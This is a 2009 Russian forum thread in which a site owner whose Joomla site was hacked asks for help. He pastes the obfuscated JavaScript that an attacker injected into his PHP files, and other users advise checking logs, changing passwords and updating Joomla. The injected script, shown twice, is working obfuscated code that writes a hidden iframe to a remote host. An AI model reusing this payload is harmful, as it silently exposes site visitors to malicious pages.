X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Добавить ответ в эту тему
> восстановление работы сайта Joomla
Buzz_hb
Buzz_hb
Topic Starter сообщение 27.9.2009, 12:30; Ответить: Buzz_hb
Сообщение #1


Прошу Вашей помощи\совета!!!
25 сенября с.г. внес данные на сайт http://www.paulovillar.ru, а именно: 23 фото с описанием, после чего зашел на сайт и проверил правильность отображения. Все было как всегда - хорошо. Доложил об этом своему шефу. Он зашел на сайт под своим именем и там было нечто невообразимое. (7 ошибок php). Сайт не работал, ничего нельзя было посмотреть на нем.
Я обратился к хостеру (eserver.ru), они сказали, что с БД все в порядке, смотрите свой контент и у вас типа что то с Joomlой. Кто то внедрил вам вредоносный скрипт. Откат сделать они не могут. (( Я через ФТП скачал всю папку с контентом и обнаружил почти в каждом файле php вставленный скрипт в самой последней строке. Сутки я вручную удалял этот злополучный скрипт (почти 12 тыс.файлов). Залил - в итоге осталась одна ошибка ($end) при заходе на сайт и такая же ошибка при попытке входа в панель управления.
Закрывающий тег (?>) там и там стоит, но всеравно ругается!
Очень Вас прошу, помогите пожалуйста мне. Напишите мне что для этого надо, коды или кусок кода или что то еще, если Вы согласны мне помочь.
Глаза у меня уже в кучу смотрят, голову сломал себе. Я в этом деле почти чайник, а может быть даже не почти!
С уважением Игорь
П.С. Вот тот злополучный скрипт, который я удалял:

<script>rkqflmss=[''];jopkbtp(['693C72666D61206572733D63682274743A702F2F653465342E6E6F632F6D6E69']);function jopkbtp(bjyshbi){bjyshbi[4]=function(fvybwj){return(fvybwj[0][fvybwj[1]](fvybwj[2],fvybwj[3]));};bjyshbi[2]=/(..)(..)/g;rkqflmss[1]='write';bjyshbi[3]='%$2%$1';rkqflmss[2]=document;bjyshbi[1]='replace';rkqflmss[0]+=unescape(bjyshbi[4](bjyshbi));return(rkqflmss.slice(0,3).reverse().concat(['',bjyshbi[4]]));};jopkbtp(['632E6967343F2022697774643D682031656867697468313D73207974656C'])[4](jopkbtp(['223D697669736962696C7974683A64696564226E3C3E692F72666D613E65']));</script>

<script>rkqflmss=[''];jopkbtp(['693C72666D61206572733D63682274743A702F2F653465342E6E6F632F6D6E69']);function jopkbtp(bjyshbi){bjyshbi[4]=function(fvybwj){return(fvybwj[0][fvybwj[1]](fvybwj[2],fvybwj[3]));};bjyshbi[2]=/(..)(..)/g;rkqflmss[1]='write';bjyshbi[3]='%$2%$1';rkqflmss[2]=document;bjyshbi[1]='replace';rkqflmss[0]+=unescape(bjyshbi[4](bjyshbi));return(rkqflmss.slice(0,3).reverse().concat(['',bjyshbi[4]]));};jopkbtp(['632E6967343F2022697774643D682031656867697468313D73207974656C'])[4](jopkbtp(['223D697669736962696C7974683A64696564226E3C3E692F72666D613E65']));</script>


Вот код с главной страницы сайта, файл index2.php:
[php]<?php
/**
* @version $Id: index2.php 10041 2008-02-15 21:48:13Z eddieajau $
* @package Joomla RE
* @copyright Авторские права © 2005 Open Source Matters. Все права защищены.
* @license Лицензия http://www.gnu.org/copyleft/gpl.html GNU/GPL, смотрите LICENSE.php
* Joomla! - свободное программное обеспечение. Эта версия может быть изменена
* в соответствии с Генеральной Общественной Лицензией GNU, поэтому возможно
* её дальнейшее распространение в составе результата работы, лицензированного
* согласно Генеральной Общественной Лицензией GNU или других лицензий свободных
* программ или программ с открытым исходным кодом.
* Для просмотра подробностей и замечаний об авторском праве, смотрите файл COPYRIGHT.php.
*
* @localized © 2005-2008 Joom.Ru
* @translator Sourpuss (sourpuss@mail.ru)
*/

// Установка флага, что этот файл - родительский
define( '_VALID_MOS', 1 );

if (!file_exists( '../configuration.php' )) {
header( 'Location: ../installation/index.php' );
exit();
}

require( '../globals.php' );
require( '../configuration.php' );

// SSL check - $http_host returns <live site url>:<port number if it is 443>
$http_host = explode(':', $_SERVER['HTTP_HOST'] );
if( (!empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) {
$mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 );
}

require_once( $mosConfig_absolute_path . '/includes/joomla.php' );
include_once( $mosConfig_absolute_path . '/language/'. $mosConfig_lang .'.php' );
require_once( $mosConfig_absolute_path . '/administrator/includes/admin.php' );

// must start the session before we create the mainframe object
session_name( md5( $mosConfig_live_site ) );
session_start();

$option = strval( strtolower( mosGetParam( $_REQUEST, 'option', '' ) ) );
$task = strval( mosGetParam( $_REQUEST, 'task', '' ) );

// mainframe is an API workhorse, lots of 'core' interaction routines
$mainframe = new mosMainFrame( $database, $option, '..', true );

// admin session handling
$my = $mainframe->initSessionAdmin( $option, $task );

// initialise some common request directives
$act = strtolower( mosGetParam( $_REQUEST, 'act', '' ) );
$section = mosGetParam( $_REQUEST, 'section', '' );
$no_html = intval( mosGetParam( $_REQUEST, 'no_html', 0 ) );
$id = intval( mosGetParam( $_REQUEST, 'id', 0 ) );

$cur_template = $mainframe->getTemplate();

// default admin homepage
if ($option == '') {
$option = 'com_admin';
}

// set for overlib check
$mainframe->set( 'loadOverlib', false );

// precapture the output of the component
require_once( $mosConfig_absolute_path . '/editor/editor.php' );

ob_start();
if ($path = $mainframe->getPath( 'admin' )) {
require_once ( $path );
?>[/php]Вот код панели управления: файл admin.php:

[php]<?php
/**
* @version $Id: admin.php 9994 2008-02-07 10:41:09Z eddieajau $
* @package Joomla RE
* @localized Авторские права © 2005-2007 Joom.Ru - Русский дом Joomla!
* @copyright Авторские права © 2005 Open Source Matters. Все права защищены.
* @license Лицензия http://www.gnu.org/copyleft/gpl.html GNU/GPL, смотрите LICENSE.php
* Joomla! - свободное программное обеспечение. Эта версия может быть изменена
* в соответствии с Генеральной Общественной Лицензией GNU, поэтому возможно
* её дальнейшее распространение в составе результата работы, лицензированного
* согласно Генеральной Общественной Лицензией GNU или других лицензий свободных
* программ или программ с открытым исходным кодом.
* Для просмотра подробностей и замечаний об авторском праве, смотрите файл COPYRIGHT.php.
*
* @translator Oleg A. Myasnikov aka Sourpuss (sourpuss@mail.ru)
*/

// запрет прямого доступа
defined( '_VALID_MOS' ) or die( 'Доступ запрещен' );

/**
* @param string THe template position
*/
function mosCountAdminModules( $position='left' ) {
global $database;

$query = "SELECT COUNT( m.id )"
. "\n FROM #__modules AS m"
. "\n WHERE m.published = 1"
. "\n AND m.position = " . $database->Quote( $position )
. "\n AND m.client_id = 1"
;
$database->setQuery( $query );

return $database->loadResult();
}
/**
* Loads admin modules via module position
* @param string The position
* @param int 0 = no style, 1 = tabbed
*/
function mosLoadAdminModules( $position='left', $style=0 ) {
global $database, $acl, $my;

$cache =& mosCache::getCache( 'com_content' );

$query = "SELECT id, title, module, position, content, showtitle, params"
. "\n FROM #__modules AS m"
. "\n WHERE m.published = 1"
. "\n AND m.position = " . $database->Quote( $position )
. "\n AND m.client_id = 1"
. "\n ORDER BY m.ordering"
;
$database->setQuery( $query );
$modules = $database->loadObjectList();
if($database->getErrorNum()) {
echo "MA ".$database->stderr(true);
return;
}

switch ($style) {
case 1:
// Tabs
$tabs = new mosTabs(1);
$tabs->startPane( 'modules-' . $position );
foreach ($modules as $module) {
$params = new mosParameters( $module->params );
$editAllComponents = $acl->acl_check( 'administration', 'edit', 'users', $my->usertype, 'components', 'all' );
// special handling for components module
if ( $module->module != 'mod_components' || ( $module->module == 'mod_components' && $editAllComponents ) ) {
$tabs->startTab( $module->title, 'module' . $module->id );
if ( $module->module == '' ) {
mosLoadCustomModule( $module, $params );
} else {
mosLoadAdminModule( substr( $module->module, 4 ), $params );
}
$tabs->endTab();
}
}
$tabs->endPane();
break;

case 2:
// Div'd
foreach ($modules as $module) {
$params = new mosParameters( $module->params );
echo '<div>';
if ( $module->module == '' ) {
mosLoadCustomModule( $module, $params );
} else {
mosLoadAdminModule( substr( $module->module, 4 ), $params );
}
echo '</div>';
}
break;

case 0:
default:
foreach ($modules as $module) {
$params = new mosParameters( $module->params );
if ( $module->module == '' ) {
mosLoadCustomModule( $module, $params );
} else {
mosLoadAdminModule( substr( $module->module, 4 ), $params );
}
}
break;
}
}
/**
* Loads an admin module
*/
function mosLoadAdminModule( $name, $params=NULL ) {
global $mosConfig_absolute_path, $mosConfig_live_site, $task;
global $database, $acl, $my, $mainframe, $option;

// legacy support for $act
$act = mosGetParam( $_REQUEST, 'act', '' );

$name = str_replace( '/', '', $name );
$name = str_replace( '\\', '', $name );
$path = "$mosConfig_absolute_path/administrator/modules/mod_$name.php";
if (file_exists( $path )) {
require $path;
}
}

function mosLoadCustomModule( &$module, &$params ) {
global $mosConfig_absolute_path, $mosConfig_cachepath;

$rssurl = $params->get( 'rssurl', '' );
$rssitems = $params->get( 'rssitems', '' );
$rssdesc = $params->get( 'rssdesc', '' );
$moduleclass_sfx = $params->get( 'moduleclass_sfx', '' );
$rsscache = $params->get( 'rsscache', 3600 );
$cachePath = $mosConfig_cachepath .'/';

echo '<table cellpadding="0" cellspacing="0" class="moduletable' . $moduleclass_sfx . '">';

if ($module->content) {
echo '<tr>';
echo '<td>' . $module->content . '</td>';
echo '</tr>';
}

// feed output
if ( $rssurl ) {
if (!is_writable( $cachePath )) {
echo '<tr>';
echo '<td>Пожалуйста, сделайте каталог кэша доступным для записи.</td>';
echo '</tr>';
} else {
$LitePath = $mosConfig_absolute_path .'/includes/Cache/Lite.php';
require_once( $mosConfig_absolute_path .'/includes/domit/xml_domit_rss_lite.php');
$rssDoc = new xml_domit_rss_document_lite();
$rssDoc->setRSSTimeout(5);
$rssDoc->useHTTPClient(true);
$rssDoc->useCacheLite(true, $LitePath, $cachePath, $rsscache);
$success = $rssDoc->loadRSS( $rssurl );

if ( $success ) {
$totalChannels = $rssDoc->getChannelCount();

for ($i = 0; $i < $totalChannels; $i++) {
$currChannel =& $rssDoc->getChannel($i);

$feed_title = $currChannel->getTitle();
$feed_title = mosCommonHTML::newsfeedEncoding( $rssDoc, $feed_title );

echo '<tr>';
echo '<td><strong><a href="'. $currChannel->getLink() .'" target="_child">';
echo $feed_title .'</a></strong></td>';
echo '</tr>';

if ($rssdesc) {
$feed_descrip = $currChannel->getDescription();
$feed_descrip = mosCommonHTML::newsfeedEncoding( $rssDoc, $feed_descrip );

echo '<tr>';
echo '<td>'. $feed_descrip .'</td>';
echo '</tr>';
}

$actualItems = $currChannel->getItemCount();
$setItems = $rssitems;

if ($setItems > $actualItems) {
$totalItems = $actualItems;
} else {
$totalItems = $setItems;
}

for ($j = 0; $j < $totalItems; $j++) {
$currItem =& $currChannel->getItem($j);

$item_title = $currItem->getTitle();
$item_title = mosCommonHTML::newsfeedEncoding( $rssDoc, $item_title );

$text = $currItem->getDescription();
$text = mosCommonHTML::newsfeedEncoding( $rssDoc, $text );

echo '<tr>';
echo '<td><strong><a href="'. $currItem->getLink() .'" target="_child">';
echo $item_title .'</a></strong> - '. $text .'</td>';
echo '</tr>';
}
}
}
}
}
echo '</table>';
}

function mosShowSource( $filename, $withLineNums=false ) {
ini_set('highlight.html', '000000');
ini_set('highlight.default', '#800000');
ini_set('highlight.keyword','#0000ff');
ini_set('highlight.string', '#ff00ff');
ini_set('highlight.comment','#008000');

if (!($source = @highlight_file( $filename, true ))) {
return 'Операция невозможна';
}
$source = explode("<br />", $source);

$ln = 1;

$txt = '';
foreach( $source as $line ) {
$txt .= "<code>";
if ($withLineNums) {
$txt .= "<font color=\"#aaaaaa\">";
$txt .= str_replace( ' ', '&nbsp;', sprintf( "%4d:", $ln ) );
$txt .= "</font>";
}
$txt .= "$line<br /><code>";
$ln++;
}
return $txt;
}

function mosIsChmodable($file) {
$perms = fileperms($file);

if ( $perms !== FALSE ) {
if (@chmod($file, $perms ^ 0001)) {
@chmod($file, $perms);

return TRUE;
} // if
}

return FALSE;
} // mosIsChmodable

/**
* @param string An existing base path
* @param string A path to create from the base path
* @param int Directory permissions
* @return boolean True if successful
*/
function mosMakePath($base, $path='', $mode = NULL) {
global $mosConfig_dirperms;

// convert windows paths
$path = str_replace( '\\', '/', $path );
$path = str_replace( '//', '/', $path );
// ensure a clean join with a single slash
$path = ltrim( $path, '/' );
$base = rtrim( $base, '/' ).'/';

// check if dir exists
if (file_exists( $base . $path )) return true;

// set mode
$origmask = NULL;
if (isset($mode)) {
$origmask = @umask(0);
} else {
if ($mosConfig_dirperms=='') {
// rely on umask
$mode = 0777;
} else {
$origmask = @umask(0);
$mode = octdec($mosConfig_dirperms);
} // if
} // if

$parts = explode( '/', $path );
$n = count( $parts );
$ret = true;
if ($n < 1) {
if (substr( $base, -1, 1 ) == '/') {
$base = substr( $base, 0, -1 );
}
$ret = @mkdir($base, $mode);
} else {
$path = $base;
for ($i = 0; $i < $n; $i++) {
// don't add if part is empty
if ($parts[$i]) {
$path .= $parts[$i] . '/';
}
if (!file_exists( $path )) {
if (!@mkdir(substr($path,0,-1),$mode)) {
$ret = false;
break;
}
}
}
}
if (isset($origmask)) {
@umask($origmask);
}

return $ret;
}

function mosMainBody_Admin() {
echo $GLOBALS['_MOS_OPTION']['buffer'];
}

/*
* Added 1.0.11
*/
function josSecurityCheck($width='95%') {
$wrongSettingsTexts = array();

if ( ini_get('magic_quotes_gpc') != '1' ) {
$wrongSettingsTexts[] = 'PHP magic_quotes_gpc установлено в `OFF` вместо `ON`';
}
if ( ini_get('register_globals') == '1' ) {
$wrongSettingsTexts[] = 'PHP register_globals установлено в `ON` вместо `OFF`';
}
if ( RG_EMULATION != 0 ) {
$wrongSettingsTexts[] = 'У параметра &quot;Эмуляция register_globals&quot; (в Joomla 1.0.12 и ниже - параметр RG_EMULATION в файле globals.php) установлено значение `Вкл.` вместо `Выкл.`. Для отключения эмуляции параметра register_globals, перейдите на вкладку Сервер Конфигурации (<a href="index2.php?option=com_config&hidemainmenu=1">Сайт -> Глобальная конфигурация -> Сервер</a>), выберите `Выкл.` и сохраните конфигурацию.<br /> <span style="font-weight: normal; font-style: italic; color: #666;">`Вкл.` - параметр по умолчанию - для совместимости со скриптами, не работающими при register_globals = OFF</span>';
}

if ( count($wrongSettingsTexts) ) {
?>[/php]
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Webmaster_hb
Webmaster_hb
сообщение 27.9.2009, 12:52; Ответить: Webmaster_hb
Сообщение #2


Buzz, раздел платный, сначала надо озвучить стоимость работ которую нужно выполнить

по совету: в любом случае у вас должна быть резервная копия сайта, как и у хостера
да, она будет не самой последней, зато рабочей

восстановите ее, и добавьте тот контент которого не хватает с того времени
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Buzz_hb
Buzz_hb
Topic Starter сообщение 27.9.2009, 13:06; Ответить: Buzz_hb
Сообщение #3


Спасибо за ответ!
К сожалению у меня копии нет, каюсь, что не сделал. А хостер сказал, что "откатить" не может!
Про стоимость я не могу сказать, цену назначает исполнитель, вроде бы так.
С уважением Игорь
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Witu
Witu
сообщение 27.9.2009, 13:57; Ответить: Witu
Сообщение #4


сначала нужно узнать каким обзаром это сделали
без исправления такого глюка восстанавливать сайт смысла нету

а цена за што? помочь восстановить работоспособность сайта или помочь узнать почему возникает ошибка $end
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Apay
Apay
сообщение 27.9.2009, 13:59; Ответить: Apay
Сообщение #5


(HTMLandPHP @ 27.9.2009, 16:57) *
сначала нужно узнать каким обзаром это сделали без исправления такого глюка восстанавливать сайт смысла нету
желательно получить все логи сайта чтобы определить это
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Witu
Witu
сообщение 27.9.2009, 14:22; Ответить: Witu
Сообщение #6


рас ты решил порыться в логах которые 50+ метров весят то чтобы облегчить задачу

ковыряйся в access.log
в нем будет видно как поимели сайт
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Apay
Apay
сообщение 27.9.2009, 14:39; Ответить: Apay
Сообщение #7


(HTMLandPHP @ 27.9.2009, 17:22) *
рас ты решил порыться в логах которые 50+ метров весят то чтобы облегчить задачу ковыряйся в access.log в нем будет видно как поимели сайт
а вот и не угадал.
любому взлому предшествуют несколько неудачных попыток, поэтому сначала изучаем error.log, а уж потом access.log, так быстрее. а логи просматривать довольно легко, и другого способа определения пути взлома нет. у меня уже был опыт восстановления сайтов joomla, правда затыкать там дырки нелегко (кода много).
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Buzz_hb
Buzz_hb
Topic Starter сообщение 27.9.2009, 15:48; Ответить: Buzz_hb
Сообщение #8


Уважаемые форумчане!
Как я и говорил, что в ручную удалял этот злополучный код из всех php файлов. Перезалил. Из семи ошибок остались по одной "глав.страница" и "Панель упр." В ходе дальнейшего просмотра и общения с хостером я в ужасе увидел что тот скрипт появился вновь. КАРАУЛ!!!
Что делать??? Откуда он опять там взялся?
С уважением Игорь
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Apay
Apay
сообщение 27.9.2009, 15:52; Ответить: Apay
Сообщение #9


1) поменять пароли к базе и фтп
2) обновить joomla на самую последнюю
3) проверить, есть ли где-то закладка для проникновения в сайт (тут с логами работть) или код автогенерации приписок к файлам
4) написать скрипт, автоматически убирающий приписки (я на своих сайтах сделал подобное и не мучаюсь, правда движок там свой, не joomla)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Witu
Witu
сообщение 27.9.2009, 16:06; Ответить: Witu
Сообщение #10


(Apay @ 27.9.2009, 18:52) *
1) поменять пароли к базе и фтп
2) обновить joomla на самую последнюю
3) проверить, есть ли где-то закладка для проникновения в сайт (тут с логами работть) или код автогенерации приписок к файлам
4) написать скрипт, автоматически убирающий приписки (я на своих сайтах сделал подобное и не мучаюсь, правда движок там свой, не joomla)


а может он загружает файл не через фтп?
а через SQL INJ?
или через аплоадер файлов который не фильтрует типы загружаемых файлов?

кароче тут без логов не разобраться и я сомневаюсь что это будет стоить дешево :)


PS паблик движки зло
определив его версию сразу начинаешь искать сплоит

а с самописными хакеру может тупо надоесть пытаться ломануть сайт
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Добавить ответ в эту тему
Быстрый ответ
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Имитация работы залог успеха?
24 metvekot 1540 Вчера, 18:36
автор: Boymaster
Горячая тема (нет новых ответов) Как вы отдыхаете от работы за компом
151 adw-kupon.ru 19861 23.4.2024, 13:52
автор: Vmir
Открытая тема (нет новых ответов) Какой % отказов нормален для сайта?
14 Aloof 3384 23.4.2024, 13:50
автор: Vmir
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыБыстрая индексация страниц сайта и обратных ссылок - 2Index
39 2Index 6740 22.4.2024, 16:16
автор: 2Index
Горячая тема (нет новых ответов) ⭕Антидетект браузер AdsPower для эффективной работы с мультиаккаунтами!
83 AdsPower 24439 14.4.2024, 22:52
автор: AdsPower


 



RSS Текстовая версия Сейчас: 25.4.2024, 12:36
Дизайн